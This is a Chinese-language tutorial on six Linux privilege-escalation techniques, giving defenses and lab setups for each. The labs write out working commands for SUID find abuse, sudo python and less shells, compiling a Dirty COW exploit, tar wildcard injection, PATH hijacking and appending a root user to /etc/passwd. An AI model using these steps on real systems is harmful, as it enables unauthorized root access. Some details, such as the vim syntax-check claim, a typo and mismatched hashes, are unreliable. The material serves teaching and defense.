Linux六种提权方式总结与实验环境搭建指南
Linux六种提权方式总结与实验环境搭建指南
核心思想
Linux提权的本质是利用系统配置错误、程序漏洞或设计缺陷,使一个低权限用户(如普通用户)获得执行高权限操作(通常是root权限)的能力。每种提权方式都利用了不同的攻击面。
一、SUID 提权
方式总结
-
核心原理:利用设置了SUID位的可执行文件。当一个程序设置了SUID位后,任何用户在执行该程序时,其进程的有效用户ID会临时变为该程序所有者的UID。如果该程序所有者是root,那么执行者就获得了root权限。
-
攻击场景:管理员错误地给一个本不该有高权限的程序(如
find,vim,cp等)设置了SUID权限,或者这些程序本身存在可以被利用的功能(如调用shell)。 -
提权关键:找到一个具有SUID权限的程序,并利用它执行一个系统命令或启动一个shell。
-
防御措施:
- 定期审计系统中的SUID文件:
find / -perm -4000 -type f 2>/dev/null。 - 移除非必要文件的SUID权限:
chmod u-s /path/to/file。 - 确保只有绝对必要的程序(如
passwd,sudo,su)拥有SUID权限。
- 定期审计系统中的SUID文件:
实验环境搭建
目标:在Ubuntu或CentOS上,给/usr/bin/find命令添加SUID权限,使其可以被普通用户利用来提权。
步骤:
- 选择目标虚拟机:Ubuntu或CentOS
- 切换到root用户:
su - root # 输入root密码 - 为
find命令添加SUID权限:# 首先确认find的原始权限 ls -alh /usr/bin/find # 输出通常为 -rwxr-xr-x,没有s位 # 添加SUID权限 chmod u+s /usr/bin/find # 再次确认权限 ls -alh /usr/bin/find # 输出应变为 -rwsr-xr-x,注意执行位的 's'

-
创建普通用户用于测试:
# 如果没有普通用户,先创建一个 useradd -m testuser passwd testuser # 设置密码 -
环境验证:
- 切换到普通用户
su - testuser。 - 执行查找命令
find / -perm -u=s -type f 2>/dev/null,应该能看到/usr/bin/find出现在列表中。

- 执行提权命令
find /etc/passwd -exec whoami \;,如果输出root,则环境搭建成功。

- 切换到普通用户
二、Sudo 提权
方式总结
- 核心原理:利用
/etc/sudoers文件中不安全的配置。sudo允许授权用户以其他用户(通常是root)的身份执行命令。如果配置不当,允许用户无需密码或通过某些程序(如脚本解释器)执行命令,就会导致提权。 - 攻击场景:
- 无密码执行特定程序:
testuser ALL=(ALL) NOPASSWD: /usr/bin/python。 - 无密码执行所有命令:
testuser ALL=(ALL) NOPASSWD: ALL(极其危险)。 - 利用程序自身功能:如
less,vim,more等程序在sudo执行时,可以通过其内部的shell执行功能(如!bash)来获取一个root shell。
- 无密码执行特定程序:
- 提权关键:查看
sudo -l,找到自己被允许执行的命令,并研究如何通过该命令绕过限制执行任意代码或获取shell。 - 防御措施:
- 严格编写
/etc/sudoers文件,遵循最小权限原则。 - 避免使用
NOPASSWD,除非在高度受控的自动化环境中。 - 避免直接授权脚本解释器(如
python,perl,bash)。 - 使用
visudo编辑文件,避免语法错误。
- 严格编写
实验环境搭建
目标:在Ubuntu或CentOS上,配置/etc/sudoers文件,允许普通用户testuser无需密码即可执行python和less命令。
步骤:
- 选择目标虚拟机:Ubuntu或CentOS。
- 切换到root用户:
su - root。 - 编辑
/etc/sudoers文件:# 使用vim命令进行编辑,它会在保存前检查语法,防止锁死系统 vim /etc/sudoers - 在文件末尾添加以下两行:
# 允许testuser无密码执行python testuser ALL=(ALL) NOPASSWD: /usr/bin/python # 允许testuser无密码执行less testuser ALL=(ALL) NOPASSWD: /usr/bin/less

保存并退出(在vim中是:wq)。
5. 环境验证:
* 切换到普通用户 su - testuser。
* 验证sudo权限:sudo -l,应该能看到刚才配置的两条规则。
* 执行提权命令 sudo python -c 'import pty;pty.spawn("/bin/bash")',应该能获得root shell。
* 执行提权命令 sudo less /etc/hosts,在less界面输入!bash并回车,也应该能获得root shell。

三、内核漏洞提权
方式总结
- 核心原理:利用操作系统内核本身存在的安全漏洞。这些漏洞可能允许本地用户突破内核的权限隔离,直接提升到ring 0(内核态)权限,从而完全控制系统。
- 攻击场景:目标系统长期未更新,运行着一个存在已知漏洞的旧版内核。
- 提权关键:
- 信息收集:获取系统内核版本(
uname -a)、发行版信息(lsb_release -a或cat /etc/os-release)。 - 漏洞搜索:在Kali攻击机上,使用
searchsploit或在线漏洞数据库(如Exploit-DB)查找对应内核版本的提权EXP(漏洞利用代码)。 - 编译与执行:将EXP代码传输到目标机,进行编译(通常是C语言),然后执行。如果成功,将获得root权限。
- 信息收集:获取系统内核版本(
- 防御措施:
- 及时更新系统:这是最根本、最有效的防御方法。
sudo apt update && sudo apt upgrade(Ubuntu) 或sudo yum update(CentOS)。 - 内核安全模块:启用SELinux或AppArmor等,可以增加漏洞利用的难度。
- 最小化安装:减少不必要的内核模块和软件包,降低攻击面。
- 及时更新系统:这是最根本、最有效的防御方法。
实验环境搭建
目标:搭建一个存在已知内核漏洞(如“脏牛”)的虚拟机,用于测试提权EXP。
步骤:
- 选择目标虚拟机:推荐使用一个旧版本的Ubuntu,例如 Ubuntu 16.04.1。这个版本默认搭载的内核版本(如4.4.0-21)受“脏牛”(CVE-2016-5195)漏洞影响。
- 安装虚拟机:在VirtualBox或VMware中安装Ubuntu 16.04.1。安装时不要选择在线更新,以保持其原始内核版本。
- 确认内核版本:
uname -a # 确认内核版本低于4.8.0,例如 Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP ... - 准备攻击机:使用您的Kali Linux虚拟机。
- 环境验证:
- 在Kali上,使用
searchsploit搜索“脏牛”漏洞:searchsploit dirty cow。 - 选择一个可靠的EXP,例如
40847.c或40839.cpp。 - 将EXP文件下载或传输到目标Ubuntu虚拟机中(可以使用
scp、wget或直接复制粘贴)。 - 在Ubuntu上编译并执行EXP:
# 假设EXP文件名为40847.c gcc -pthread 40847.c -o dirtycow ./dirtycow - 如果EXP成功运行,它会修改
/etc/passwd文件,将firefart用户(或其他指定用户)的密码清空或设置为新密码,并赋予其root权限。之后su firefart即可登录root shell。
- 在Kali上,使用
四、Cronjobs 提权
方式总结
- 核心原理:利用
cron定时任务配置中的错误。cron是Linux的定时任务服务,以特定用户(通常是root)身份在指定时间执行脚本或命令。 - 攻击场景:
- 通配符注入:一个以root权限运行的
cron任务中使用了通配符(如*),并且调用了可以被参数劫持的命令(如tar,rsync,chmod)。攻击者可以创建带有特殊名称的文件(如--checkpoint-action=exec=sh script.sh),这些文件名会被命令误认为是参数,从而执行恶意代码。 - 可写脚本/目录:一个以root权限运行的
cron任务所执行的脚本本身,或者脚本所在的目录,对普通用户是可写的。攻击者可以直接修改脚本内容,植入恶意命令,等待cron执行。
- 通配符注入:一个以root权限运行的
- 提权关键:找到存在配置缺陷的
cron任务,并利用该缺陷植入后门或直接执行提权命令。 - 防御措施:
- 在
cron任务中,避免使用通配符,如果必须使用,请使用完整路径。 - 确保
cron任务执行的脚本和目录权限严格,仅对root可写。 - 在脚本中使用绝对路径,避免
PATH劫持。
- 在
实验环境搭建
目标:在Ubuntu或CentOS上,创建一个存在通配符注入和文件可写漏洞的cron任务。
步骤:
1. 切换到 root 并创建环境
su - root
mkdir -p /opt/cron_test
cd /opt/cron_test
2. 创建恶意脚本
echo '#!/bin/bash' > evil.sh
echo 'cp /bin/bash /tmp/rootbash' >> evil.sh
echo 'chmod 4755 /tmp/rootbash' >> evil.sh
chmod +x evil.sh
3. 创建 backup.sh
echo '#!/bin/bash' > backup.sh
echo 'cd /opt/cron_test' >> backup.sh
echo '/bin/tar czf /tmp/backup.tar.gz *' >> backup.sh
chmod +x backup.sh
4. 设置 cron 任务
crontab -e
添加:
* * * * * /opt/cron_test/backup.sh
5. 创建 testuser 并设置权限
useradd -m testuser
passwd testuser
chown testuser:testuser /opt/cron_test
chmod 755 /opt/cron_test
6. 切换到 testuser 并创建劫持文件
su - testuser
cd /opt/cron_test
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh evil.sh"
7. 等待 cron 执行并验证
ls -l /tmp/rootbash
/tmp/rootbash -p

五、环境变量 提权
方式总结
- 核心原理:劫持
$PATH环境变量。当一个SUID程序或sudo执行的脚本内部调用了一个不带绝对路径的命令时,系统会根据$PATH变量的顺序来查找该命令。攻击者可以修改$PATH,将一个恶意程序放在优先查找的目录中,从而诱骗高权限程序执行恶意代码。 - 攻击场景:一个具有SUID权限的程序(由管理员自己编写或编译)在代码中调用了系统命令(如
cat,ls)但未使用绝对路径(如/bin/cat)。 - 提权关键:
- 找到一个存在此缺陷的SUID程序。
- 修改
$PATH环境变量,将一个可控目录(如/tmp)置于最前。 - 在该目录下创建一个与程序调用的命令同名的恶意文件(如
cat)。 - 执行SUID程序,它会优先执行你的恶意
cat。
- 防御措施:
- 在编写SUID程序或
sudo脚本时,始终使用命令的绝对路径。 - 在脚本开始时,可以重置或清理
$PATH变量为一个安全的值,如PATH=/bin:/sbin:/usr/bin:/usr/sbin。
- 在编写SUID程序或
实验环境搭建
目标:在Ubuntu或CentOS上,创建一个自定义的SUID程序,该程序在内部调用不带路径的cat命令,从而可以被$PATH劫持。
步骤:
- 选择目标虚拟机:Ubuntu或CentOS。
- 切换到root用户:
su - root。 - 创建test用户:
useradd -m test - 创建有漏洞的C程序:
输入以下代码:cd /home/test # 创建一个.c文件 vim demo.c#include <unistd.h> int main() { setuid(0); // 设置进程的有效UID为root setgid(0); // 设置进程的有效GID为root system("cat /etc/shadow"); return 0; } - 编译并设置SUID权限:
gcc demo.c -o demo chomod u+s demo #执行demo文件即执行cat /etc/shadow命令 ./demo

- 现在有一个攻击者拿到了普通用户的权限,首先执行了如下命令查找具有SUID的文件:
find / -perm -u=s -type f 2>/dev/null

- 环境验证:
-
切换到普通用户
su - test。 -
普通用户执行demo文件

-
查看当前
$PATH:echo $PATH -
在
/tmp目录下创建一个恶意的cat脚本:cd /tmp echo "/bin/bash" >cat #查看是否正确 cat cat #赋予权限 chmod 777 cat #将/tmp目录添加进环境变量 export PATH=/tmp:$PATH #查看cat环境变量是否被劫持 which cat
-

* 劫持PATH:export PATH=/tmp:$PATH。现在/tmp目录的查找优先级最高。
* 执行提权:./demo。程序在执行system("cat ...")时,会找到并执行我们创建的/tmp/cat,从而弹出一个root shell。

六、/etc/passwd 提权
方式总结
- 核心原理:直接修改
/etc/passwd文件。在非常老旧或配置不当的Linux系统中,/etc/passwd文件可能对普通用户可写。攻击者可以直接向该文件中添加一个新的用户条目,并将其用户ID(UID)和组ID(GID)设置为0(root的ID),从而创建一个具有root权限的新用户。 - 攻击场景:系统管理员错误地执行了
chmod 666 /etc/passwd或类似操作,导致该文件全局可写。这种情况在现代系统中极为罕见,因为/etc/passwd的写权限受到严格保护,且用户密码实际存储在/etc/shadow中。 - 提权关键:
- 确认
/etc/passwd文件可写。 - 生成一个符合格式的、UID/GID为0的密码哈希。
- 将新用户条目追加到
/etc/passwd文件末尾。 - 使用新创建的用户名和密码登录。
- 确认
- 防御措施:
- 确保
/etc/passwd文件权限为-rw-r--r--(644),且所有者为root。 - 使用
/etc/shadow文件来存储密码,并确保其权限为-rw-r-----(640),仅root和shadow组成员可读。 - 定期检查关键系统文件的权限和完整性(可使用
AIDE或Tripwire等工具)。
- 确保
实验环境搭建
目标:在Ubuntu或CentOS上,临时将/etc/passwd文件设置为可写,模拟一个严重错误配置。
步骤:
- 选择目标虚拟机:Ubuntu或CentOS。
- 切换到root用户:
su - root。 - (危险操作)赋予
/etc/passwd写权限:# 先备份原文件!这是一个好习惯 cp /etc/passwd /etc/passwd.bak # 赋予所有用户读写权限 chmod 666 /etc/passwd # 确认权限 ls -l /etc/passwd # 输出应为 -rw-rw-rw-

- 创建普通用户:
useradd -m test passwd test - 环境验证:
- 切换到普通用户
su - test。 - 生成密码哈希:使用
perl生成一个密码为123456的哈希值。#使用perl语言生成密码盐值 perl -le 'print crypt("123456", "addedsalt")' # 输出:adrla7BSfTZQ - 构造新用户条目:用户名为
testuser,UID/GID为0,家目录为/root,shell为/bin/bash。
注意:在命令行中,# 将上一步生成的哈希值复制下来 echo "testuser:adrla7IBSfTZQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd$字符需要用\转义。 - 提权:直接切换到新创建的
testuser用户。su - testuser # 输入密码: 123456 - 如果成功登录,并且
whoami和id命令显示为root,则提权成功。 - 实验后清理:切换回root,恢复文件权限。
su - root cp /etc/passwd.bak /etc/passwd chmod 644 /etc/passwd
- 切换到普通用户

总结与建议
| 提权方式 | 核心利用点 | 常见场景 | 防御关键 |
|---|---|---|---|
| SUID 提权 | 文件特殊权限 | 管理员误给高权限程序设置SUID | 定期审计,移除非必要SUID |
| Sudo 提权 | /etc/sudoers配置错误 |
无密码执行命令或脚本解释器 | 最小权限原则,避免NOPASSWD |
| 内核漏洞提权 | 操作系统内核漏洞 | 系统未更新,存在旧版内核 | 及时更新系统 |
| Cronjobs 提权 | 定时任务配置缺陷 | 通配符注入,脚本/目录可写 | 使用绝对路径,严格控制权限 |
| 环境变量 提权 | $PATH环境变量劫持 |
SUID程序内调用无路径命令 | 脚本中使用绝对路径 |
/etc/passwd 提权 |
核心系统文件权限错误 | 文件被赋予全局写权限 | 严格控制关键文件权限,使用shadow |

浙公网安备 33010602011771号